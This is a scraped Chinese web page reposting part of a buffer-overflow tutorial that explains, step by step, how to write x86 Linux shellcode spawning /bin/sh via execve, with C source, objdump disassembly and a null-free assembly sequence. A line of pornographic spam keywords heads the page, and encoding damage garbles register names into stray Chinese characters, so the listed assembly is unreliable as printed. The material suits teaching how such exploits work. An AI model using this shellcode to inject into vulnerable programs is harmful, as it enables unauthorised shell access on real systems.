亚洲乱码中文字幕综合,中国熟女仑乱hd,亚洲精品乱拍国产一区二区三区,一本大道卡一卡二卡三乱码全集资源,又粗又黄又硬又爽的免费视频

緩沖區(qū)溢出的解密方法

互聯(lián)網(wǎng)   發(fā)布時(shí)間:2008-10-08 19:03:01   作者:佚名   我要評(píng)論
如何執(zhí)行 /bin/sh? 在C中,spawn出一個(gè)shell的代碼可能象這樣: shell.c : #include void main() { char *shell[2]; shell[0] = "/bin/sh"; shell[1] = NULL; execve(shell[0], shell, NULL); } [m
如何執(zhí)行 /bin/sh?

在C中,spawn出一個(gè)shell的代碼可能象這樣:

shell.c :

#include

void main()

{

char *shell[2];

shell[0] = "/bin/sh";

shell[1] = NULL;

execve(shell[0], shell, NULL);

}

[murat@victim murat]$ make shell

cc -W -Wall -pedantic -g shell.c -o shell

[murat@victim murat]$ ./shell

bash$

如果你看execve的man說(shuō)明頁(yè)($man 2 execve),你將看到execve要求一個(gè)將要執(zhí)行的文件名的指針,一個(gè)NULL終止的參數(shù)數(shù)組,和一個(gè)可以為NULL的環(huán)境指針。如果你編譯運(yùn)行了這個(gè)輸出的二進(jìn)制文件,你將看到你spawn出了一個(gè)新的shell。

目前為止一切順利……但是我們不能用這種方式spawn出一個(gè)shell,是嗎?我們?nèi)绾文苡眠@種方式把這個(gè)代碼放到漏洞程序里去呢?我們不能!

這給我們?cè)斐闪艘粋€(gè)新問(wèn)題:我們?nèi)绾文馨盐覀兊墓舸a傳給漏洞程序?我們將需要在易受攻擊的緩沖區(qū)傳遞我們的代碼,它很有可能是一段shell代碼。為了實(shí)現(xiàn)這個(gè)目標(biāo),我們必須能夠把我們的shell代碼用一個(gè)字符串表示。

因此,我們將列出所有的來(lái)spawn出一個(gè)shell的匯編指令,得到它們的運(yùn)算碼,把它們一個(gè)一個(gè)列出來(lái),然后把它們作為一個(gè)shell生成串組裝起來(lái)。

首先,讓我們看看上面的代碼(shell.c)在匯編中是什么樣子。讓我們靜態(tài)編譯程序(這個(gè)方法,execve系統(tǒng)調(diào)用也將被反匯編)然后看:

[murat@victim murat]$ gcc -static -g -o shell shell.c

[murat@victim murat]$ objdump -d shell | grep \: -A 12

0804ca10 :

804ca10: 53 pushl 離

804ca11: 8b 54 24 10 movl 0x10(%esp,1),韝

804ca15: 8b 4c 24 0c movl 0xc(%esp,1),靫

804ca19: 8b 5c 24 08 movl 0x8(%esp,1),離

804ca1d: b8 0b 00 00 00 movl $0xb,陎

804ca22: cd 80 int $0x80

804ca24: 5b popl 離

804ca25: 3d 01 f0 ff ff cmpl $0xfffff001,陎

804ca2a: 0f 83 00 02 00 jae 804cc30

804ca2f: 00

804ca30: c3 ret

804ca31: 90 nop

[murat@victim murat]$

讓我們一步一步地分析這個(gè)系統(tǒng)調(diào)用:

記住,在我們的main()函數(shù)里,我們寫了代碼:

execve(shell[0], shell, NULL)

我們傳遞了:

·字符串”/bin/sh”的地址

·NULL結(jié)尾數(shù)組的地址

·NULL(實(shí)際上它是環(huán)境地址)

此處,在main里面:

[murat@victim murat]$ objdump -d shell | grep \: -A 17

08048124 :

8048124: 55 pushl 雙

8048125: 89 e5 movl %esp,雙

8048127: 83 ec 08 subl $0x8,%esp

804812a: c7 45 f8 ac 92 movl $0x80592ac,0xfffffff8(雙)

804812f: 05 08

8048131: c7 45 fc 00 00 movl $0x0,0xfffffffc(雙)

8048136: 00 00

8048138: 6a 00 pushl $0x0

804813a: 8d 45 f8 leal 0xfffffff8(雙),陎

804813d: 50 pushl 陎

804813e: 8b 45 f8 movl 0xfffffff8(雙),陎

8048141: 50 pushl 陎

8048142: e8 c9 48 00 00 call 804ca10

8048147: 83 c4 0c addl $0xc,%esp

804814a: c9 leave

804814b: c3 ret

804814c: 90 nop

在調(diào)用execve(call 804ca10 )之前,我們反序把這些參數(shù)推入到堆棧中。

因此,如果我們回到__execve:

我們拷貝NULL字節(jié)到EDX寄存器,

804ca11: 8b 54 24 10 movl 0x10(%esp,1),韝

我們拷貝以NULL結(jié)尾數(shù)組的地址到ECX寄存器,

804ca15: 8b 4c 24 0c movl 0xc(%esp,1),靫

我們拷貝字符串"/bin/sh"的地址到EBX寄存器

804ca19: 8b 5c 24 08 movl 0x8(%esp,1),離

我們?yōu)閑xecve拷貝系統(tǒng)索引,即11(oxb)到EAX寄存器:

804ca1d: b8 0b 00 00 00 movl $0xb,陎

接著變成核模式:

804ca22: cd 80 int $0x80

我們需要的全部就是這么多了。然而,這里還有一些問(wèn)題。我們不能準(zhǔn)確地知道NULL結(jié)束數(shù)組和”/bin/sh”字符串的地址。那么,這個(gè)怎么樣?:

xorl 陎, 陎

pushl 陎

pushl $0x68732f2f

pushl $0x6e69622f

movl %esp,離

pushl 陎

pushl 離

movl %esp,靫

cdql

movb $0x0b,%al

int $0x80

讓我解釋一下上面的指令:

如果你進(jìn)行自身異或,你得到0,等同于NULL。這里,我們?cè)贓AX寄存器中得到一個(gè)NULL。

xorl 陎, 陎

接著我們把NULL推入堆棧:

pushl 陎

我們把字符串”//sh”推入堆棧,

2f is /

2f is /

73 is s

68 is h

pushl $0x68732f2f

我們把字符串”/bin”推入堆棧:

2f is /

62 is b

69 is i

6e is n

pushl $0x6e69622f

可以猜想,現(xiàn)在堆棧指針地址就象我們的NULL結(jié)尾字符串”/bin/sh”的地址。因?yàn)?,從指向棧頂?shù)闹羔橀_始,我們有了一個(gè)NULL結(jié)尾的字符串?dāng)?shù)組。因此,我們拷貝堆棧指針到EBX寄存器。這樣,我們就已經(jīng)把”/bin/sh”的地址放到EBX寄存器中了。

movl %esp,離

接著我們需要用NULL結(jié)尾的數(shù)組地址設(shè)置ECX。為此,我們?cè)谖覀兊亩褩V袆?chuàng)造了一個(gè)NULL結(jié)尾的數(shù)組,與上面那個(gè)很像:首先我們PUSH一個(gè)NULL。我們不能PUSH NULL,但是我們能PUSH值為NULL的東西,回顧我們異或EAX寄存器在那我們得到了NULL,因此讓我們PUSH EAX來(lái)在堆棧中得到一個(gè)NULL。

pushl 陎

接著,我們PUSH我們的字符串的地址到堆棧,這等同于shell[0]:

pushl 離

現(xiàn)在我們有一個(gè)NULL結(jié)尾數(shù)組的指針,我們能夠在ECX中保存它的地址:

movl %esp,靫

我們還需要其它什么呢?一個(gè)在EDX寄存器中的NULL。我們能movl 陎, 韝,但是我們能用一個(gè)短的指令完成這個(gè)操作:cdq。這個(gè)指令是把EAX中的符號(hào)位擴(kuò)展到EDX。:

cdql

我們?cè)O(shè)定EAX 為0xb,這是系統(tǒng)調(diào)用表中的系統(tǒng)調(diào)用id。

movb $0x0b,%al

接著,我們轉(zhuǎn)換到核模式:

int 0x80

之后,我們進(jìn)到核模式,內(nèi)核將調(diào)用exec函數(shù)執(zhí)行我們指示給它的:/bin/sh 這樣我們將進(jìn)入一個(gè)交互shell……

相關(guān)文章

最新評(píng)論